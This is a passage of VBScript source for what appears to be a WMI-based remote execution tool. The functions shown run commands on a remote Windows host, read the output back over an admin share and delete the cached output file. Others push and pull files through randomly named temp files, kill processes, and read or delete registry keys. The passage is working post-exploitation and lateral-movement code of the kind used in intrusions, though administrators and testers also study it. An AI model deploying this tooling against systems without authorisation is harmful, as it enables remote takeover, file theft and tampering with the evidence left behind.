Set dicFile = HandleFilePath(strFileToRemove, strWorkingDirectory)
If GetSubFiles(dicFile, objWMIService, colItems, "Name") Then
If colItems.Count = 0 Then
WriteLine "[-] Nothing found."
Exit Function
ElseIf (InStr(dicFile.Item("File"), "*") > 0) OR (colItems.Count > 1) Then
WriteLine "[+] Found " & colItems.Count & " files for " & dicFile.Item("File")
For Each objItem In colItems
WriteLine vbTab & objItem.Name
Next
End If
Else
Exit Function
End If
For Each objItem In colItems
If RemoveFileViaCIM(objItem, boolPrintResult, boolPrintError) Then
WMIRemoveFile = True
Else
WMIRemoveFile = False
End If
Next
End Function
Function WMICopyFile (objWMIService, strFileToCopy, strFileCopiedTo, strWorkingDirectory, boolDeleteSource, boolPrintResult, boolPrintError)
On Error Resume Next
Err.Clear
WMICopyFile = False
Set dicInFile = HandleFilePath(strFileToCopy, strWorkingDirectory)
If GetSubFiles(dicInFile, objWMIService, colItems, "Name") Then
If colItems.Count = 0 Then
WriteLine "[-] Nothing found."
Exit Function
End If
Else
Exit Function
End If
Set dicOutFile = HandleFilePath(strFileCopiedTo, strWorkingDirectory)
strTargetFile = dicOutFile.Item("File")
For Each objItem In colItems
boolResult = CopyFileViaCIM(objItem, strTargetFile, boolPrintResult, boolPrintError)
If boolResult And boolDeleteSource Then
If RemoveFileViaCIM(objItem, boolPrintResult, boolPrintError) Then
WMICopyFile = True
Else
WMICopyFile = False
End If
End If
Next
End Function
Function CopyFileViaCIM(objItem, strTargetFile, boolPrintResult, boolPrintError)
On Error Resume Next
Err.Clear
CopyFileViaCIM = False
WriteLine "[+] Copying " & objItem.Name & " to " & strTargetFile
intReturn = objItem.Copy(strTargetFile)
Select Case intReturn
Case 0
CopyFileViaCIM = True
If boolPrintResult Then
WriteLine "[-] Success."
End If
Case Else
If boolPrintError Then
WriteLine "[!] Failed when copying " & objItem.Name & " , " & CIMDataFileErrCode(intReturn)
End If
End Select
End Function
Function RemoveFileViaCIM(objItem, boolPrintResult, boolPrintError)
On Error Resume Next
Err.Clear
RemoveFileViaCIM = False
intReturn = objItem.Delete
Select Case intReturn
Case 0
RemoveFileViaCIM = True
If boolPrintResult Then
WriteLine "[+] " & objItem.Name & " was removed."
End If
Case Else
If boolPrintError Then
WriteLine "[!] Failed to remove " & objItem.Name & ", " & CIMDataFileErrCode(intReturn)
End If
End Select
End Function
Function CIMDataFileErrCode(intCode)
Select Case intCode
Case 2 CIMDataFileErrCode = "access denied."
Case 8 CIMDataFileErrCode = "unspecified failure."
Case 9 CIMDataFileErrCode = "invalid object."
Case 10 CIMDataFileErrCode = "object already exists."
Case 11 CIMDataFileErrCode = "file system not NTFS."
Case 12 CIMDataFileErrCode = "platform not Windows."
Case 13 CIMDataFileErrCode = "drive not the same."
Case 14 CIMDataFileErrCode = "directory not empty."
Case 15 CIMDataFileErrCode = "sharing violation."
Case 16 CIMDataFileErrCode = "invalid start file."
Case 17 CIMDataFileErrCode = "privilege not held."
Case 21 CIMDataFileErrCode = "invalid parameter."
Case Else CIMDataFileErrCode = "error code is " & intCode
End Select
End Function
Function GetChildItem(objWMIService, strFolderToSearch, strWorkingDirectory, outResult)
On Error Resume Next
Err.Clear
GetChildItem = False
Set dicFile = HandleFilePath(strFolderToSearch, strWorkingDirectory)
strFile = dicFile.Item("File")
strDrive = dicFile.Item("Drive")
strPath = dicFile.Item("Path")
boolShowPath = False
If InStr(strFile, "*") > 0 Then boolShowPath = True
WriteLine "Directory: " & strDrive & strPath
If Not GetSubFolders(dicFile, objWMIService, colFolders, "") Then
Exit Function
End If
If Not GetSubFiles(dicFile, objWMIService, colFiles, "") Then
Exit Function
End If
If colFolders.Count + colFiles.Count = 0 Then
WriteLine("[-] Nothing found.")
Exit Function
End If
WriteLine colFiles.Count & " file(s) and " & colFolders.Count & " folder(s) in total."
arrTitle = Array("Mode", "CreationDate", "LastModified", "Length", "Name")
ArrayAppend outResult, arrTitle
ArrayAppend outResult, Array("", "", "", "", "")
If colFolders.Count > 0 Then
For Each objItem In colFolders
Write "."
strAttr = "d" & GetAttributes(objItem)
strCreate = WMIDateStringToDate(objItem.CreationDate, False)
strModify = WMIDateStringToDate(objItem.LastModified, False)
strLength = ""
If boolShowPath Then
strName = objItem.Name
Else
strName = objItem.FileName
End If
ArrayAppend outResult, Array(strAttr, strCreate, strModify, strLength, strName)
Next
End If
If colFiles.Count > 0 Then
For Each objItem In colFiles
Write "."
strAttr = "-" & GetAttributes(objItem)
strCreate = WMIDateStringToDate(objItem.CreationDate, False)
strModify = WMIDateStringToDate(objItem.LastModified, False)
strLength = FormatFileSize(objItem.FileSize)
If boolShowPath Then
strName = objItem.Name
ElseIf Len(objItem.Extension) > 0 Then
strName = objItem.FileName & "." & objItem.Extension
Else
strName = objItem.FileName
End If
ArrayAppend outResult, Array(strAttr, strCreate, strModify, strLength, strName)
Next
End If
WriteLine ""
GetChildItem = True
End Function
Function FormatFileSize(strSize)
i = 0
strTodo = strSize
strResult = ""
Do While i < Len(strTodo)
strResult = Mid(strTodo, Len(strTodo) - i, 1) & strResult
i = i + 1
If (i = Len(strTodo)) OR (i Mod 3) Then
'nothing to do
Else
strResult = "," & strResult
End If
Loop
FormatFileSize = strResult
End Function
Function GetAttributes(objItem)
On Error Resume Next
Err.Clear
GetAttributes = "aerwhs"
If Not objItem.Archive Then GetAttributes = Replace(GetAttributes, "a", "-")
If Not objItem.Encrypted Then GetAttributes = Replace(GetAttributes, "e", "-")
If Not objItem.Readable Then GetAttributes = Replace(GetAttributes, "r", "-")
If Not objItem.Writeable Then GetAttributes = Replace(GetAttributes, "w", "-")
If Not objItem.Hidden Then GetAttributes = Replace(GetAttributes, "h", "-")
If Not objItem.System Then GetAttributes = Replace(GetAttributes, "s", "-")
End Function
Function GetSubFolders(dicFile, objWMIService, outCollection, strProperty)
On Error Resume Next
Err.Clear
GetSubFolders = False
strDrive = dicFile.Item("Drive")
strPath = Replace(dicFile.Item("Path"), "\", "\\") 'for wmi
strName = dicFile.Item("Name")
strExt = dicFile.Item("Ext")
If InStr(strPath, "*") > 0 Then
strPath = "Path Like '" & Replace(strPath, "*", "%") & "'"
Else
strPath = "Path='" & strPath & "'"
End If
If strExt <> "" Then strName = strName & "." & strExt 'not sure if folder name cotain .
If strName <> "" Then
If InStr(strName, "*") > 0 Then
strName = "FileName Like '" & Replace(strName, "*", "%") & "'"
Else
strName = "FileName='" & strName & "'"
End If
End If
If strProperty = "" Then
strProperty = "Name,FileName,FileType,CreationDate,LastModified," & _
"Encrypted,Hidden,System,Archive,Readable,Writeable"
End If
strQuery = "Select " & strProperty & " " & _
"From Win32_Directory " & _
"Where Drive='" & strDrive & "' " & _
"And " & strPath
If strName <> "" Then strQuery = strQuery & " And " & strName
Set outCollection = objWMIService.ExecQuery(strQuery)
If Err Then
Warning "to get Win32_Directory ", Err.Number, Err.Description
Exit Function
Else
GetSubFolders = True
End If
End Function
Function GetSubFiles(dicFile, objWMIService, outCollection, strProperty)
On Error Resume Next
Err.Clear
GetSubFiles = False
strDrive = dicFile.Item("Drive")
strPath = Replace(dicFile.Item("Path"), "\", "\\") 'for wmi
strName = dicFile.Item("Name")
strExt = dicFile.Item("Ext")
If InStr(strPath, "*") > 0 Then
strPath = "Path Like '" & Replace(strPath, "*", "%") & "'"
Else
strPath = "Path='" & strPath & "'"
End If
If strProperty = "" Then
strProperty = "Name,FileName,Extension,FileType,FileSize," & _
"CreationDate,LastModified," & _
"Encrypted,Hidden,System,Archive,Readable,Writeable"
End If
strQuery = "Select " & strProperty & " " & _
"From CIM_DataFile " & _
"Where Drive='" & strDrive & "' " & _
"And " & strPath
If strName <> "" Then
If InStr(strName, "*") > 0 Then
strName = "FileName Like '" & Replace(strName, "*", "%") & "'"
Else
strName = "FileName='" & strName & "'"
End If
strQuery = strQuery & " And " & strName
End If
If strExt <> "" Then
If InStr(strExt, "*") > 0 Then
strExt = "Extension Like '" & Replace(strExt, "*", "%") & "'"
Else
strExt = "Extension='" & strExt & "'"
End If
strQuery = strQuery & " And " & strExt
End If
Set outCollection = objWMIService.ExecQuery(strQuery)
If Err Then
Warning "to get CIM_DataFile ", Err.Number, Err.Description
Exit Function
Else
GetSubFiles = True
End If
End Function
Function HandleFilePath(ByVal strFile, ByVal strWorkingDirectory)
On Error Resume Next
'WorkingDirectory may not end with \
'Path in dicResult must end with \
Set dicResult = CreateObject("Scripting.Dictionary")
If Not RegxWith(strFile, "^[a-z]:", True, "") Then 'not AbsolutePath
Select Case InStr(strFile, "\")
Case 1 strFile = Left(strWorkingDirectory, 2) & strFile
Case Else strFile = strWorkingDirectory & "\" & strFile
End Select
End If
strFile = Replace(strFile, "\\", "\")
If InStr(strFile, "\.") Then
strFile = HandlePathCotainDot(strFile)
End If
dicResult.Add "File", strFile
strDrive = Left(strFile, 2)
dicResult.Add "Drive", strDrive
strPath = Replace(strFile, strDrive, "")
If strPath = "" Then 'C: or D:
dicResult.Add "Path", "\"
dicResult.Add "Name", ""
dicResult.Add "Ext", ""
Set HandleFilePath = dicResult
Exit Function
End If
Do While Not EndWith(strPath, "\")
strPath = Left(strPath, Len(strPath) - 1)
Loop
dicResult.Add "Path", strPath
strName = Replace(strFile, strDrive & strPath, "")
If strName <> "" Then
If BeginWith(strName, "\") Then strName = Right(strName, Len(strName) -1)
If InStr(strName, ".") > 0 Then
arrName = Split(strName, ".")
strExt = arrName(UBound(arrName))
Else
strExt = ""
End If
If strExt <> "" Then
strName = Replace(strName, strExt, "")
If EndWith(strName, ".") Then strName = Left(strName, Len(strName) - 1)
End If
Else
strExt = ""
End If
dicResult.Add "Name", strName
dicResult.Add "Ext", strExt
Set HandleFilePath = dicResult
End Function
Function HandlePathCotainDot(strPath)
arrPath = Split(strPath, "\")
Dim arrResult()
ReDim arrResult(UBound(arrPath))
x = 0
For i = 0 To UBound(arrPath)
Select Case arrPath(i)
Case "."
x = x
Case ".."
If x > 1 Then x = x - 1
arrResult(x) = ""
Case Else
arrResult(x) = arrPath(i)
x = x + 1
End Select
Next
For i = 0 To UBound(arrResult)
If i = 0 Then
strResult = arrResult(i) & "\"
Else
strResult = objfso.BuildPath(strResult, arrResult(i))
End If
Next
If EndWith(strPath, "\") Then
If Not EndWith(strResult, "\") Then
strResult = strResult & "\"
End If
End If
HandlePathCotainDot = strResult
End Function
Function ShellExec(objWMIService, strExec, boolPrintResult, boolPrintError, outResult, intTimeOut)
On Error Resume Next
Err.Clear
ShellExec = False
strCommand = UseCMD(strExec, conCachedFile, conCachedFile, boolReadResult)
If ProcessStart(objWMIService, strCommand, RemoteWorkingFolder, intProcessID) Then
WriteLine "[+] PID: " & intProcessID
Else
Exit Function
End If
If Not boolReadResult Then
ShellExec = True
Exit Function
End If
intRetryTimes = 15
If Not WaitUntilProcessEnd(objWMIService, intProcessID, ".", intTimeOut, intRetryTimes) Then
Exit Function
End If
UNCFilePath = "\\" & conRemoteTarget & "\" & conShareName & "\" & CachedFileName
If objFSOGetFileContent(UNCFilePath, outResult) Then
If boolPrintResult Then WriteLine outResult
End If
If WMIRemoveFile(objWMIService, conCachedFile, RemoteWorkingFolder, False, True) Then
ShellExec = True
End If
End Function
Function UseCMD(strExec, strOutFile, strErrFile, boolReadResult)
boolReadResult = True
strTool = "cmd.exe /c "
If InStr(strExec, ">") > 0 Then
strCommand = strExec
boolReadResult = False
ElseIf LCase(strOutFile) = LCase(strErrFile) Then
strCommand = strExec & " 1>" & strOutFile & " 2>>&1"
Else
strCommand = strExec & " 1>" & strOutFile & " 2>>" & strErrFile
End If
UseCMD = strTool & strCommand
End Function
Function WaitUntilProcessEnd(objWMIService, intProcessID, strTips, intWaitTime, intRetryTimes)
On Error Resume Next
Err.Clear
WaitUntilProcessEnd = False
If Len(intProcessID) = 0 Then
WriteLine "[!] Error: PID missing."
Exit Function
End If
If Len(strTips) > 0 Then
boolPrintTips = True
Else
boolPrintTips = False
End If
intWaitCount = 1
strQuery = "Select ProcessId From Win32_Process Where ProcessID = " & intProcessID
Do
WScript.Sleep(intWaitTime)
Set objProcessList = objWMIService.ExecQuery(strQuery)
If Err Then
If boolPrintTips And (intWaitCount > 1) Then WriteLine ""
Warning "to get Win32_Process ", Err.Number, Err.Description
Exit Do
Else
If objProcessList.Count = 0 Then
If boolPrintTips And (intWaitCount > 1) Then WriteLine ""
WaitUntilProcessEnd = True
Exit Function
End If
End If
If boolPrintTips Then Write strTips
If intRetryTimes > 0 Then
If intWaitCount > intRetryTimes Then
If boolPrintTips And (intWaitCount > 1) Then WriteLine ""
WriteLine "[!] Error: Time out, stop!"
Exit Do
Else
intWaitCount = intWaitCount + 1
End If
End If
Loop While objProcessList.Count > 0
End Function
Function objFSOGetFileContent(strFile, outResult)
On Error Resume Next
Err.Clear
objFSOGetFileContent = False
Set objFile = objFSO.OpenTextFile(strFile, 1)
If Err Then
Warning "to read " & strFile & " ", Err.Number, Err.Description
Exit Function
End If
If Not objFile.AtEndOfStream Then
outResult = objFile.ReadAll
End If
objFile.Close
objFSOGetFileContent = True
End Function
Function ProcessStart(objWMIService, strProcessToStart, strProcessWorkingDirectory, outProcessID)
On Error Resume Next
Err.Clear
ProcessStart = False
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
If Err Then
Warning "to get Win32_ProcessStartup ", Err.Number, Err.Description
Exit Function
End If
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = 12
Set objProcess=objWMIService.Get("Win32_Process")
If Err Then
Warning "to get Win32_Process ", Err.Number, Err.Description
Exit Function
End If
intReturn = objProcess.Create(strProcessToStart, strProcessWorkingDirectory, objConfig, outProcessID)
If intReturn = 0 Then
ProcessStart = True
Else
Write "[!] Error: Process " & strProcessToStart & " start failed, "
'SaveReturnValue(intReturn)
WriteLine ProcessErrorCode(intReturn)
End If
End Function
Function ProcessKill(objWMIService, strProcess)
On Error Resume Next
Err.Clear
ProcessKill = False
strQuery = "Select Name,ProcessID From Win32_Process"
If RegxWith(strProcess, "^\d+$", True, "") Then
strQuery = strQuery & " Where ProcessId = " & strProcess
Else
strQuery = strQuery & " Where Name Like '" & Replace(strProcess, "*", "%") & "'"
End If
Set colItems = objWMIService.ExecQuery(strQuery)
If Err Then
Warning "to get Win32_Process ", Err.Numebr, Err.Description
Exit Function
End If
If colItems.Count = 0 Then
WriteLine "[-] Nothing found."
Exit Function
End If
For Each objItem In colItems
intReturn = objItem.Terminate
If intReturn = 0 Then
ProcessKill = True
WriteLine "[+] Process " & objItem.Name & " with PID " & objItem.ProcessID & " has been terminated."
Else
Write "[!] Error: failed at " & objItem.Name & " with PID " & objItem.processID & ", "
WriteLine ProcessErrorCode(intReturn)
End If
Next
End Function
Function ProcessErrorCode(strCode)
Select Case strCode
Case 2 ProcessErrorCode = "access denied."
Case 3 ProcessErrorCode = "insufficient privilege."
Case 8 ProcessErrorCode = "unknown failure."
Case 9 ProcessErrorCode = "path not found."
Case 21 ProcessErrorCode = "invalid parameter."
Case Else ProcessErrorCode = "error code is " & strCode
End Select
End Function
'===
'Function LocalCMDExec(command, boolPrintResult, boolErrOut)
' strCommand = "cmd.exe /c " & command
'
' Const WshRunning = 0
' Const WshFinished = 1
' Const WshFailed = 2
'
' Set objShellExec = objShell.Exec(strCommand)
'
' While objShellExec.Status = WshRunning
' WScript.Sleep 500
' Wend
'
' Select Case objShellExec.Status
' Case WshFinished
' strOutput = objShellExec.StdOut.ReadAll
' If boolErrOut Then
' strOutput = strOutput & objShellExec.StdErr.ReadAll
' End If
' Case WshFailed
' strOutput = objShellExec.StdErr.ReadAll
' End Select
'
' If boolPrintResult Then WriteLine strOutput
' LocalCMDExec = strOutput
'End Function
Function LocalCMDExec(command, boolPrintResult, outResult)
On Error Resume Next
Err.Clear
LocalCMDExec = False
comspec = objShell.ExpandEnvironmentStrings("%comspec%")
Set objExec = objShell.Exec(comspec & " /c " & command)
If Err Then
Warning "to run local command ", Err.Number, Err.Description
Exit Function
End If
Do
ArrayAppend outResult, objExec.StdOut.ReadLine()
Loop While Not objExec.StdOut.atEndOfStream
LocalCMDExec = True
If boolPrintResult Then
For Each strResult In outResult
WriteLine strResult
Next
End If
End Function
Function putFile(strFileToPut)
On Error Resume Next
putFile = False
Err.Clear
If boolWMIMode Then
WriteLine "[!] Error: WMI Only!"
Exit Function
End If
Set dicFile = HandleFilePath(strFileToPut, LocalWorkingFolder)
If GetSubFiles(dicFile, objLocalWMIService, colItems, "Name,FileName,Extension") Then
If colItems.Count = 0 Then
WriteLine "[-] Nothing found."
Exit Function
ElseIf (InStr(dicFile.Item("File"), "*") > 0) OR (colItems.Count > 1) Then
WriteLine "[+] Found " & colItems.Count & " files for " & dicFile.Item("File")
For Each objItem In colItems
WriteLine vbTab & objItem.Name
Next
End If
Else
Exit Function
End If
For Each objItem In colItems
If Len(objItem.Extension) = 0 Then
strTargetFileName = objItem.FileName
Else
strTargetFileName = objItem.FileName & "." & objItem.Extension
End If
If EndWith(RemoteWorkingFolder, "\") Then
strTargetFile = RemoteWorkingFolder & strTargetFileName
Else
strTargetFile = RemoteWorkingFolder & "\" & strTargetFileName
End If
If LCase(conShareFolder) = LCase(RemoteWorkingFolder) Then
strFileUNCPath = "\\" & conRemoteTarget & "\" & conShareName & "\" & strTargetFileName
If FSOCopyFile(objItem.Name, strFileUNCPath) Then
putFile = True
Else
putFile = False
End If
ELseIf InStr(LCase(RemoteWorkingFolder), LCase(conShareFolder)) > 0 Then
If EndWith(conShareFolder, "\") Then
strFileUNCPath = Replace(LCase(RemoteWorkingFolder), LCase(conShareFolder), conShareName & "\")
Else
strFileUNCPath = Replace(LCase(RemoteWorkingFolder), LCase(conShareFolder), conShareName)
End If
strFileUNCPath = "\\" & conRemoteTarget & "\" & strFileUNCPath & "\" & strTargetFileName
If FSOCopyFile(objItem.Name, strFileUNCPath) Then
putFile = True
Else
putFile = False
End If
Else
strTmpFileName = nss(69,90,6)
If EndWith(conShareFolder, "\") Then
strTmpFile = conShareFolder & strTmpFileName
Else
strTmpFile = conShareFolder & "\" & strTmpFileName
End If
strFileUNCPath = "\\" & conRemoteTarget & "\" & conShareName & "\" & strTmpFileName
If FSOCopyFile(objItem.Name, strFileUNCPath) Then
strQuery = "Select Name " & _
"From CIM_DataFile " & _
"Where Name = '" & _
Replace(strTmpFile, "\", "\\") & _
"'"
Set colFiles = objRemoteWMIService.ExecQuery(strQuery)
If Err Then
WriteLine "[!] Error: WMI query failed with code 0x" & Hex(Err.Number) & ", " & Err.Description
ElseIf colFiles.Count = 0 Then
WriteLine "[!] Error: Could not find " & strTmpFile
Else
For Each objFile In colFiles
If CopyFileViaCIM(objFile, strTargetFile, True, True) Then
If RemoveFileViaCIM(objFile, True, True) Then
putFile = True
Else
putFile = False
End If
End If
Next
End If
End If
End If
Next
End Function
Function getFile(strFileToGet)
On Error Resume Next
Err.Clear
getFile = False
If boolWMIMode Then
WriteLine "[!] Error: WMI Only!"
Exit Function
End If
Set dicFile = HandleFilePath(strFileToGet, RemoteWorkingFolder)
If GetSubFiles(dicFile, objRemoteWMIService, colItems, "Name,FileName,Extension") Then
If colItems.Count = 0 Then
WriteLine "[-] Nothing found."
Exit Function
ElseIf (InStr(dicFile.Item("File"), "*") > 0) OR (colItems.Count > 1) Then
WriteLine "[+] Found " & colItems.Count & " files for " & dicFile.Item("File")
For Each objItem In colItems
WriteLine vbTab & objItem.Name
Next
End If
Else
Exit Function
End If
For Each objItem In colItems
If Len(objItem.Extension) = 0 Then
strSourceFileName = objItem.FileName
Else
strSourceFileName = objItem.FileName & "." & objItem.Extension
End If
If EndWith(LocalWorkingFolder, "\") Then
strTargetFile = LocalWorkingFolder & strSourceFileName
Else
strTargetFile = LocalWorkingFolder & "\" & strSourceFileName
End If
strSourceFilePath = objFSO.GetParentFolderName(objItem.Name)
If LCase(strSourceFilePath) = LCase(conShareFolder) Then
strFileUNCPath = "\\" & conRemoteTarget & "\" & conShareName & "\" & strSourceFileName
If FSOCopyFile(strFileUNCPath, strTargetFile) Then
getFile = True
Else
getFile = False
End If
ELseIf InStr(LCase(strSourceFilePath), LCase(conShareFolder)) > 0 Then
If EndWith(conShareFolder, "\") Then
strFileUNCPath = Replace(LCase(strSourceFilePath), LCase(conShareFolder), conShareName & "\")
Else
strFileUNCPath = Replace(LCase(strSourceFilePath), LCase(conShareFolder), conShareName)
End If
strFileUNCPath = "\\" & conRemoteTarget & "\" & strFileUNCPath & "\" & strSourceFileName
If FSOCopyFile(strFileUNCPath, strTargetFile) Then
putFile = True
Else
putFile = False
End If
Else
strTmpFileName = nss(69,90,6)
If EndWith(conShareFolder, "\") Then
strTmpFile = conShareFolder & strTmpFileName
Else
strTmpFile = conShareFolder & "\" & strTmpFileName
End If
If CopyFileViaCIM(objItem, strTmpFile, True, True) Then
strUNCTmpFile = "\\" & conRemoteTarget & "\" & conShareName & "\" & strTmpFileName
If FSOCopyFile(strUNCTmpFile, strTargetFile) Then
strQuery = "Select Name " & _
"From CIM_DataFile " & _
"Where Name = '" & _
Replace(strTmpFile, "\", "\\") & _
"'"
Set colFiles = objRemoteWMIService.ExecQuery(strQuery)
If Err Then
WriteLine "[!] Error: WMI query failed with code 0x" & Hex(Err.Number) & ", " & Err.Description
ElseIf colFiles.Count = 0 Then
WriteLine "[!] Error: Could not find " & strTmpFile
Else
For Each objFile In colFiles
If RemoveFileViaCIM(objFile, True, True) Then
getFile = True
Else
getFile = False
End If
Next
End If
End If
End If
End If
Next
End Function
Function FSOCopyFile(strSource, strTarget)
On Error Resume Next
Err.Clear
FSOCopyFile = False
WriteLine "[+] Copying " & strSource & " to " & strTarget
objFSO.CopyFile strSource, strTarget
If Err Then
Warning "to copy ", Err.Number, Err.Description
Else
FSOCopyFile = True
WriteLine "[-] Success."
End If
End Function
Function ConfirmFolderExists(objWMIService, ByVal strFolderPath, strWorkingDirectory, outResult)
On Error Resume Next
Err.Clear
ConfirmFolderExists = False
Do While (EndWith(strFolderPath, "\") And (Len(strFolderPath) > 1))
strFolderPath = Left(strFolderPath, Len(strFolderPath) - 1)
Loop
Set dicFile = HandleFilePath(strFolderPath, strWorkingDirectory)
strFile = dicFile.Item("File")
strDrive = dicFile.Item("Drive")
strPath = dicFile.Item("Path")
strName = dicFile.Item("Name")
strExt = dicFile.Item("Ext")
If (strPath = "\") And (strName = "") Then 'C: or D:
strPath = ""
Else
strPath = Replace(strPath, "\", "\\")
End If
strName = Replace(strName, "*", "%")
If Len(strExt) > 0 Then strName = strName & "." & Replace(strExt, "*", "%")
strQuery = "Select Name From Win32_Directory " & _
"Where Drive='" & strDrive & "' " & _
"And Path='" & strPath & "' " & _
"And FileName Like '" & strName & "'"
Set colItems = objWMIService.ExecQuery(strQuery)
If Err Then
Warning "access [" & strFile & "] ", Err.Number, Err.Description
Exit Function
End If
Select Case colItems.Count
Case 0
WriteLine "[!] Could not find " & strFile
Case 1
For Each objItem In colItems
ConfirmFolderExists = True
outResult = objItem.Name
Next
Case Else
WriteLine "[-] Found " & colItems.Count & " matches as below:"
For Each objItem in colItems
WriteLine objItem.Name
Next
End Select
End Function
Function DelReg(objWMIService, strRegPath, strValueName)
On Error Resume Next
Err.Clear
DelReg = False
If Not SplitRegPath(strRegPath, strHive, strKeyPath) Then
Exit Function
End If
If Not ConvertRegHive(strHive, longHive) Then
WriteLine "[+] Error: unknown reg hive " & strHive
Exit Function
End If
Set objReg = objWMIService.Get("StdRegProv")
If Err Then
Warning "to get StdRegProv ", Err.Number, Err.Description
Exit Function
End If
If Len(strValueName) = 0 Then
DelReg = RemoveRegKey(objReg, longHive, strKeyPath)
Else
DelReg = RemoveRegValueName(objReg, longHive, strKeyPath, strValueName)
End If
End Function
Function RemoveRegKey(objReg, longHive, strKeyPath)
On Error Resume Next
Err.Clear
RemoveRegKey = False
intErr = objReg.DeleteKey(longHive, strKeyPath)
If Err Then
Warning "to remove ", Err.Numebr, Err.Description
Else
ConvertRegHive longHive, strHive
WriteLine "[-] " & strHive & "\" & strKeyPath & " was removed."
RemoveRegKey = True
End If
End Function
Function RemoveRegValueName(objReg, longHive, strKeyPath, strValueName)
On Error Resume Next
Err.Clear
RemoveRegValueName = False
intErr = objReg.DeleteValue(longHive, strKeyPath, strValueName)
If Err Then
Warning "to remove ", Err.Numebr, Err.Description
Else
ConvertRegHive longHive, strHive
WriteLine "[-] " & strValueName & " under " & strHive & "\" & strKeyPath & " was removed."
RemoveRegValueName = True
End If
End Function
Function GetReg(objWMIService, strRegPath, strValueName, outSubValues, outSubKeys)
On Error Resume Next
Err.Clear
GetReg = False
If Not SplitRegPath(strRegPath, strHive, strKeyPath) Then
Exit Function
End If
If Not ConvertRegHive(strHive, longHive) Then
WriteLine "[+] Error: unknown reg hive " & strHive
Exit Function
End If
Set objReg = objWMIService.Get("StdRegProv")
If Err Then
Warning "to get StdRegProv ", Err.Number, Err.Description
Exit Function
End If
If Not RegProvEnumValues(objReg, longHive, strKeyPath, arrValueNames, arrTypes) Then
Exit Function
End If
If IsArray(arrValueNames) Then
'exist sub values
If Len(strValueName) > 0 Then
If strValueName = "@" Then
'show (default) only, end
If RegProvGetRegValue(objReg, longHive, strKeyPath, "", 1, arrValueInfo) Then
GetReg = True
ArrayAppend outSubValues, arrValueInfo
End If
ElseIf InArray(arrValueNames, strValueName, True, intTypeIndex) Then
'show specified only, end
If RegProvGetRegValue(objReg, longHive, strKeyPath, strValueName, arrTypes(intTypeIndex), arrValueInfo) Then
GetReg = True
ArrayAppend outSubValues, arrValueInfo
Else
GetReg = False
End If
Else
'specified not found, end
WriteLine "[!] Error: Cound not found [" & strValueName & "]"
Exit Function
End If
Else
'show all values
For i = LBound(arrValueNames) To UBound(arrValueNames)
If RegProvGetRegValue(objReg, longHive, strKeyPath, arrValueNames(i), arrTypes(i), arrValueInfo) Then
GetReg = True
ArrayAppend outSubValues, arrValueInfo
Else
GetReg = False
End If
Next
'continue to show all subkeys, end, maybe no subkeys
If RegProvEnumKey(objReg, longHive, strKeyPath, outSubKeys) Then
GetReg = True
End If
End If
Else
'only (default) value with type REG_SZ
If Len(strValueName) > 0 Then
'specified not found, end
WriteLine "[!] Error: Cound not found [" & strValueName & "]"
Exit Function
Else
'show (default)
If RegProvGetRegValue(objReg, longHive, strKeyPath, "", 1, arrValueInfo) Then
GetReg = True
ArrayAppend outSubValues, arrValueInfo
End If
'continue to show all subkeys, end, maybe no subkeys
If RegProvEnumKey(objReg, longHive, strKeyPath, outSubKeys) Then
GetReg = True
End If
End If
End If
End Function
Function RegProvEnumKey(objReg, longHive, strKeyPath, outSubKeys)
On Error Resume Next
Err.Clear
RegProvEnumKey = False
intErr = objReg.EnumKey(longHive, strKeyPath, outSubKeys)
If intErr > 0 Then
WriteLine "[!] Error: " & RegSrdProvErrorCode(intErr)
Else
RegProvEnumKey = True
End If
End Function
Function RegProvEnumValues(objReg, longHive, strKeyPath, outValueNames, outTypes)
On Error Resume Next
Err.Clear
RegProvEnumValues = False
intErr = objReg.EnumValues(longHive, strKeyPath, outValueNames, outTypes)
If intErr > 0 Then
WriteLine "[!] Error: " & RegSrdProvErrorCode(intErr)
Exit Function
Else
RegProvEnumValues = True
End If
End Function
Function RegProvGetRegValue(objReg, longHive, strKeyPath, strValueName, intValueType, outResult)
On Error Resume Next
Err.Clear
RegProvGetRegValue = False
If Not ConvertRegValueType(intValueType, strType) Then
WriteLine "[!] Error: unknown type " & intValueType
Exit Function
End If
Select Case strType
Case "REG_SZ"
intErr = objReg.GetStringValue(longHive, strKeyPath, strValueName, strValue)
If Err Then
Warning "to GetStringValue ", Err.Number, Err.Description
Else
If Len(strValueName) = 0 Then
strValueName = "(Default)"
If intErr = 1 Then strValue = "(value not set)"
End If
RegProvGetRegValue = True
outResult = Array(strValueName, "REG_SZ", strValue)
End If
Case "REG_EXPAND_SZ"
intErr = objReg.GetExpandedStringValue(longHive, strKeyPath, strValueName, strValue)
If intErr = 0 Then
RegProvGetRegValue = True
outResult = Array(strValueName, "REG_EXPAND_SZ", strValue)
Else
WriteLine "[!] Error: " & RegSrdProvErrorCode(intErr)
End If
Case "REG_BINARY" 'return an array of bytes, convert to string
intErr = objReg.GetBinaryValue(longHive, strKeyPath, strValueName, arrBytes)
If intErr = 0 Then
RegProvGetRegValue = True
strBytes = ""
For Each uByte in arrBytes
strBytes = strBytes & Right("00" & Hex(uByte), 2) & " "
Next
outResult = Array(strValueName, "REG_BINARY", strBytes)
Else
WriteLine "[!] Error: " & RegSrdProvErrorCode(intErr)
End If
Case "REG_DWORD"
intErr = objReg.GetDWORDValue(longHive, strKeyPath, strValueName, uValue)
If intErr = 0 Then
RegProvGetRegValue = True
outResult = Array(strValueName, "REG_DWORD", "0x" & Hex(CStr(uValue)))
Else
WriteLine "[!] Error: " & RegSrdProvErrorCode(intErr)
End If
Case "REG_MULTI_SZ" 'return an array of strings, convert to string
intErr = objReg.GetMultiStringValue(longHive, strKeyPath, strValueName, arrValues)
If intErr = 0 Then
RegProvGetRegValue = True
outResult = Array(strValueName, "REG_MULTI_SZ", Join(arrValues, "\0"))
Else
WriteLine "[!] Error: " & RegSrdProvErrorCode(intErr)
End If
Case "REG_QWORD"
intErr = objReg.GetQWORDValue(longHive, strKeyPath, strValueName, strValue)
If intErr = 0 Then
RegProvGetRegValue = True
outResult = Array(strValueName, "REG_QWORD", strValue)
Else
WriteLine "[!] Error: " & RegSrdProvErrorCode(intErr)
End If
Case Else
WriteLine "[!] Error: Not supported reg value " & strType
End Select
End Function
Function NewReg(objWMIService, strRegPath, strValueName, strValueType, strValue)
On Error Resume Next
Err.Clear
NewReg = False
If Not SplitRegPath(strRegPath, strHive, strKeyPath) Then
Exit Function
End If
If Not ConvertRegHive(strHive, longHive) Then
